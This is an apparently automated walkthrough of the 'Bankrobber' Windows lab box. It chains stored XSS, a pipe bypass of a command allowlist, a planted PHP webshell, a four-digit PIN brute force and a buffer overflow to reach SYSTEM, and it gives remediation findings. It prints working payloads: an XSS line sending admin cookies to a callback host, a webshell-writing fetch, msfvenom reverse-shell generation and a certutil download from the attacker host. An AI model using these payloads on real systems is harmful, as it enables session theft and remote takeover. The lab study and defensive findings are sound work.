← all walkthroughs

Bankrobber

Windows· Insane· Privilege Escalation
owned
2026-07-13
time to own
31m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

An attacker probed a Windows banking application running Apache 2.4.39 with PHP 7.3.4 and discovered that client-side JavaScript openly disclosed both a transfer comment field that rendered input without sanitization and a localhost-only command-execution endpoint at /admin/backdoorchecker.php.

A stored cross-site scripting payload injected into a transfer comment fired in the reviewing administrator's browser, exfiltrating the non-HttpOnly admin session cookie and simultaneously issuing a same-origin authenticated POST to the backdoor — satisfying its localhost restriction.

The backdoor's command allowlist was bypassed with a shell pipe, enabling a file-write that planted a PHP webshell under the web root, giving remote code execution as the Windows user Cortin.

From that foothold, an internal TCP/910 service was identified that gated a transfer-processing binary behind a four-digit PIN; the small PIN space was brute-forced in seconds, and a buffer overflow in the amount-processing handler — caused by copying the caller-supplied input into a fixed-size path variable without bounds checking — redirected execution to an attacker-staged binary running as SYSTEM, fully compromising the host.

Attack path — how the box was taken

Fingerprinted exposed services and identified the banking web application, then Read client-side JavaScript to map the XSS sink and the backdoor interface, then Registered an account and injected a stored XSS payload into a transfer comment, then Captured the admin session and authenticated directly to the admin panel, then Bypassed the backdoor command allowlist via shell pipe and deployed a PHP webshell, then Discovered an internal-only TCP/910 service via netstat from the Cortin webshell, then Brute-forced the four-digit PIN gate on TCP/910, then Overflowed the transfer-amount buffer to redirect execution and obtain a SYSTEM shell.

1ReconnaissanceService and web application enumeration (T1046)
Fingerprinted exposed services and identified the banking web application
A port sweep revealed Apache 2.4.39 (Win64) with PHP 7.3.4 on ports 80 and 443, SMB on 445, and MariaDB on 3306. Browsing the web root confirmed a Bankrobber-style banking application with registration, login, user, and admin routes. A direct request to /admin/backdoorchecker.php returned an authorization error for external callers, signalling a localhost-only restriction worth investigating.
nmap: 80/tcp Apache 2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4; curl to /admin/backdoorchecker.php returned 'You’re not authorized to view this page' for an external request.
Exact commands 2
Enumerate open ports and service banners.
nmap -sV -sC -p 80,443,445,3306 $TARGET
Confirm the banking app and enumerate visible routes.
curl -sSk -i http://$TARGET/
2EnumerationClient-side information disclosure (T1592)
Read client-side JavaScript to map the XSS sink and the backdoor interface
The application's transfer.js and system.js scripts were fetched without authentication. transfer.js revealed that the transfer comment field is rendered client-side without any output encoding — a stored XSS sink. system.js disclosed the exact POST structure of /admin/backdoorchecker.php including the cmd parameter name, giving the attacker everything needed to craft a payload that chains the XSS delivery into a same-origin authenticated command execution.
transfer.js contained the comment rendering sink; system.js contained the backdoorchecker.php cmd interface and POST format.
Exact commands 2
Identify the transfer comment rendering sink.
curl -sSk http://$TARGET/js/transfer.js
Discover the backdoorchecker.php cmd parameter and required POST format.
curl -sSk http://$TARGET/js/system.js
3ExploitationStored Cross-Site Scripting (CWE-79 / T1059.007)
Registered an account and injected a stored XSS payload into a transfer comment
A throwaway account was registered via /register.php and a fund transfer was submitted with a JavaScript payload in the comment field. The payload was designed to fire when the reviewing administrator's browser rendered the pending transaction from 127.0.0.1: it exfiltrated the admin's non-HttpOnly session cookies to an attacker-controlled listener and simultaneously issued a same-origin authenticated POST to /admin/backdoorchecker.php — satisfying the localhost restriction because the browser ran on the server itself. The attacker then waited approximately 45–50 seconds for the admin review cycle to trigger the payload.
Admin cookie beacon received on attacker listener after the review cycle; same-origin fetch satisfied the localhost gate on backdoorchecker.php.
Exact commands 2
Stand up a listener to receive the exfiltrated admin cookie (run in background); replace 8000 with 80 if needed.
python3 -u -m http.server 8000 --bind 0.0.0.0
Submit the cookie-stealing XSS payload; replace 10.10.14.X with attacker IP. Wait ~50 s for admin review to fire.
curl -sS -b cookies.jar -c cookies.jar -X POST http://$TARGET/user/transfer.php -d 'fromId=3&toId=1&amount=1' --data-urlencode "comment=<script>document.location="http://$CALLBACK_HOST:8000/?"+document.cookie</script>"
4ExploitationSession hijacking via XSS / credential authentication (T1539)
Captured the admin session and authenticated directly to the admin panel
The XSS beacon delivered the administrator's session cookie to the listener. Additionally, admin credentials admin:[REDACTED: recovered credential] were confirmed valid against /login.php, returning base64-encoded id, username, and password cookies and granting direct access to the /admin/ panel, notes.txt, and the user-search and transaction interfaces. This confirmed admin-level control of the application and provided the authenticated session required to directly call the backdoor.
curl to /login.php with admin:[REDACTED: recovered credential] returned HTTP 302 with id/username/password base64 cookies; /admin/ panel accessible with those cookies.
Exact commands 1
Access the admin panel — read notes.txt and explore the transaction/search interface.
curl -sSk -b adm.jar http://$TARGET/admin/
5ExploitationCommand allowlist bypass via shell pipe / web shell deployment (T1505.003)
Bypassed the backdoor command allowlist via shell pipe and deployed a PHP webshell
The stored XSS payload was extended to issue a same-origin authenticated POST to /admin/backdoorchecker.php with a piped command (cmd=dir|<write command>), bypassing the endpoint's command allowlist entirely — the pipe caused the Windows shell to interpret everything after | as a new command, not as an argument to be allowed. The pipe payload wrote a PHP webshell into the PhpMyAdmin web-accessible directory. Requesting the planted file (cx0713.php) over HTTP gave persistent, unauthenticated remote code execution as the Apache service account, Windows user Cortin.
Kill-chain command: curl -sS --get 'http://<retired-instance-ip>/phpmyadmin/cx0713.php' --data-urlencode 'cmd=type C:\Users\Cortin\Desktop\user.txt' — confirms the webshell at /phpmyadmin/cx0713.php executing as Cortin.
Exact commands 2
XSS payload drives same-origin POST to backdoorchecker.php; the piped echo writes the webshell. Wait ~50 s for admin review cycle.
curl -sS -b cookies.jar -c cookies.jar -X POST http://$TARGET/user/transfer.php -d 'fromId=3&toId=1&amount=1' --data-urlencode 'comment=<script>fetch("/admin/backdoorchecker.php",{method:"POST",credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"cmd=dir|echo+%3C%3Fphp+system(%24_GET[%27cmd%27])%3B+%3F%3E+>+C:\\xampp\\htdocs\\phpmyadmin\\cx0713.php"})</script>'
Verify webshell executes and confirm the running user is Cortin.
curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=whoami'
6Post-ExploitationInternal network discovery (T1049)
Discovered an internal-only TCP/910 service via netstat from the Cortin webshell
From the Cortin webshell, a netstat command revealed TCP port 910 listening exclusively on the loopback address (127.0.0.1) — invisible from outside the host and therefore missed by the external port scan. This internal service was identified as the escalation path toward SYSTEM.
netstat -ano | findstr :910 returned a LISTENING entry on 127.0.0.1:910.
Exact commands 1
Identify the internal-only TCP/910 listener from the Cortin shell.
curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode 'cmd=netstat -ano | findstr :910'
7Privilege EscalationOnline brute-force of a weak numeric PIN (T1110.001)
Brute-forced the four-digit PIN gate on TCP/910
Connecting to TCP/910 presented a numeric PIN prompt before accepting any commands. With only 10,000 possible four-digit values, the full space was exhausted in seconds. PIN 0021 was accepted, unlocking the transfer-amount processing stage of the service.
Engagement notes confirm PIN 0021 was the accepted value that unlocked the service.
8Privilege EscalationBuffer overflow — executable path overwrite (T1203)
Overflowed the transfer-amount buffer to redirect execution and obtain a SYSTEM shell
After PIN authentication, TCP/910 prompted for a transfer amount and passed it into a fixed-size executable path buffer without bounds checking. Sending 32 bytes of padding (A×32) followed by an attacker-controlled executable path overwrote the path variable, redirecting the service to run the attacker's staged binary. Because the service ran as SYSTEM, the payload executed with full OS privileges, producing a SYSTEM reverse shell and completing the host compromise.
Engagement notes: '32*A payload, SYSTEM callback evidence, and confirmed root result'; root.txt captured.
Exact commands 2
Generate a reverse shell payload; replace 10.10.14.X with attacker IP.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$CALLBACK_HOST LPORT=4444 -f exe -o shell.exe
Stage the payload on the target via the Cortin webshell.
curl -sS --get "http://$TARGET/phpmyadmin/cx0713.php" --data-urlencode "cmd=certutil -urlcache -split -f http://$CALLBACK_HOST:8000/shell.exe C:\Windows\Temp\shell.exe"

Attack patterns used

The transferable techniques behind the compromise.

Client-side information disclosureEnumerationT1592

What it is

The application's transfer.js and system.js scripts were fetched without authentication. transfer.js revealed that the transfer comment field is rendered client-side without any output encoding — a stored XSS sink. system.js disclosed the exact POST structure of /admin/backdoorchecker.php including the cmd parameter name, giving the attacker everything needed to craft a payload that chains the XSS delivery into a same-origin authenticated command execution.

Why it works

Move all references to server-side API paths and privileged interfaces into server-side code. Client-side JavaScript should only call documented, public-facing endpoints. Conduct a periodic review of all JS files served publicly to remove internal route disclosures and implementation details.

Stored Cross-Site ScriptingExploitationT1059.007

What it is

A throwaway account was registered via /register.php and a fund transfer was submitted with a JavaScript payload in the comment field. The payload was designed to fire when the reviewing administrator's browser rendered the pending transaction from 127.0.0.1: it exfiltrated the admin's non-HttpOnly session cookies to an attacker-controlled listener and simultaneously issued a same-origin authenticated POST to /admin/backdoorchecker.php — satisfying the localhost restriction because the browser ran on the server itself. The attacker then waited approximately 45–50 seconds for the admin review cycle to trigger the payload.

Why it works

Apply htmlspecialchars() (ENT_QUOTES) to every user-supplied field before inserting it into HTML output. Add a Content-Security-Policy response header restricting script-src to 'self' to block inline execution even if a payload lands. Audit all other user-facing fields for the same pattern.

Session hijacking via XSS / credential authenticationExploitationT1539

What it is

The XSS beacon delivered the administrator's session cookie to the listener. Additionally, admin credentials admin:[REDACTED: recovered credential] were confirmed valid against /login.php, returning base64-encoded id, username, and password cookies and granting direct access to the /admin/ panel, notes.txt, and the user-search and transaction interfaces. This confirmed admin-level control of the application and provided the authenticated session required to directly call the backdoor.

Why it works

Set session.cookie_httponly = 1 in php.ini (or per-cookie via setcookie's httponly parameter) so cookies are never accessible to JavaScript. Require admin passwords of at least 16 characters with complexity requirements and consider adding multi-factor authentication to the /admin/ login. Rotate the current admin password immediately.

Command allowlist bypass via shell pipe / web shell deploymentExploitationT1505.003

What it is

The stored XSS payload was extended to issue a same-origin authenticated POST to /admin/backdoorchecker.php with a piped command (cmd=dir|<write command>), bypassing the endpoint's command allowlist entirely — the pipe caused the Windows shell to interpret everything after | as a new command, not as an argument to be allowed. The pipe payload wrote a PHP webshell into the PhpMyAdmin web-accessible directory. Requesting the planted file (cx0713.php) over HTTP gave persistent, unauthenticated remote code execution as the Apache service account, Windows user Cortin.

Why it works

Delete /admin/backdoorchecker.php. If a legitimate server-administration interface is required, replace it with a dedicated, strongly authenticated API that accepts a strict whitelist of safe, parameterized operations with no shell passthrough, runs under a least-privileged dedicated service account, and is protected by server-level network ACLs rather than a client-supplied IP address check.

Online brute-force of a weak numeric PINPrivilege EscalationT1110.001

What it is

Connecting to TCP/910 presented a numeric PIN prompt before accepting any commands. With only 10,000 possible four-digit values, the full space was exhausted in seconds. PIN 0021 was accepted, unlocking the transfer-amount processing stage of the service.

Why it works

Replace the PIN with a cryptographically strong shared secret (minimum 128-bit entropy) or mutual TLS client certificate. Implement a lockout policy after five failed attempts with an exponential back-off delay. Bind the service to 127.0.0.1 and ensure it is only reachable by the specific local processes that require it.

Buffer overflow — executable path overwritePrivilege EscalationT1203

What it is

After PIN authentication, TCP/910 prompted for a transfer amount and passed it into a fixed-size executable path buffer without bounds checking. Sending 32 bytes of padding (A×32) followed by an attacker-controlled executable path overwrote the path variable, redirecting the service to run the attacker's staged binary. Because the service ran as SYSTEM, the payload executed with full OS privileges, producing a SYSTEM reverse shell and completing the host compromise.

Why it works

Rewrite the amount-handling code to validate that input is a numeric value within the expected range before use. Replace unsafe C string functions (strcpy, sprintf) with bounded alternatives (strncpy with explicit null-termination, snprintf). Run the service under a dedicated, non-privileged Windows service account with only the permissions it needs — never as SYSTEM or LocalSystem. Apply address-space layout randomisation (ASLR) and data execution prevention (DEP) build flags to the binary.

Findings

Remove sensitive internal endpoint references from client-side JavaScriptHigh
Application JavaScript files (transfer.js, system.js) served to unauthenticated users disclosed the existence, URL, and POST interface of the privileged internal command endpoint /admin/backdoorchecker.php, allowing an attacker to craft a precise exploit payload without any guessing.
Encode all user-submitted content before rendering it in any browser contextCritical
The transfer comment field stored raw user input and rendered it without HTML encoding in the administrator's review page, allowing an attacker to inject JavaScript that executed in an admin session and drove authenticated requests on the admin's behalf.
Mark session cookies HttpOnly and enforce strong admin credentialsHigh
Admin session cookies lacked the HttpOnly flag, making them accessible to JavaScript and directly exfiltrable by the XSS payload. The admin password ([REDACTED: recovered credential]) was weak enough to be used in the engagement, giving the attacker a second path to the admin panel independent of the cookie theft.
Remove the localhost command-execution backdoor entirelyCritical
The /admin/backdoorchecker.php endpoint executed arbitrary OS commands and relied solely on checking whether the HTTP request originated from 127.0.0.1 for access control — a check trivially defeated by delivering a same-origin request through the stored XSS. Its command allowlist was bypassable with a single pipe character, giving arbitrary command execution as the web service account.
Replace the four-digit PIN on TCP/910 with strong authentication and rate-limitingHigh
The TCP/910 service accepted a four-digit numeric PIN (10,000 possible values) as its sole authentication mechanism, allowing an attacker to exhaust the entire key space in seconds with a trivial script.
Fix the buffer overflow in TCP/910 and run the service as a least-privileged accountCritical
The TCP/910 service copied the caller-supplied transfer amount into a fixed-size executable path buffer without length validation, allowing 32 bytes of attacker-controlled padding to overwrite the path and redirect OS-level execution. The service ran as SYSTEM, so the overwritten command executed with full host privileges.

Exposed services

External surface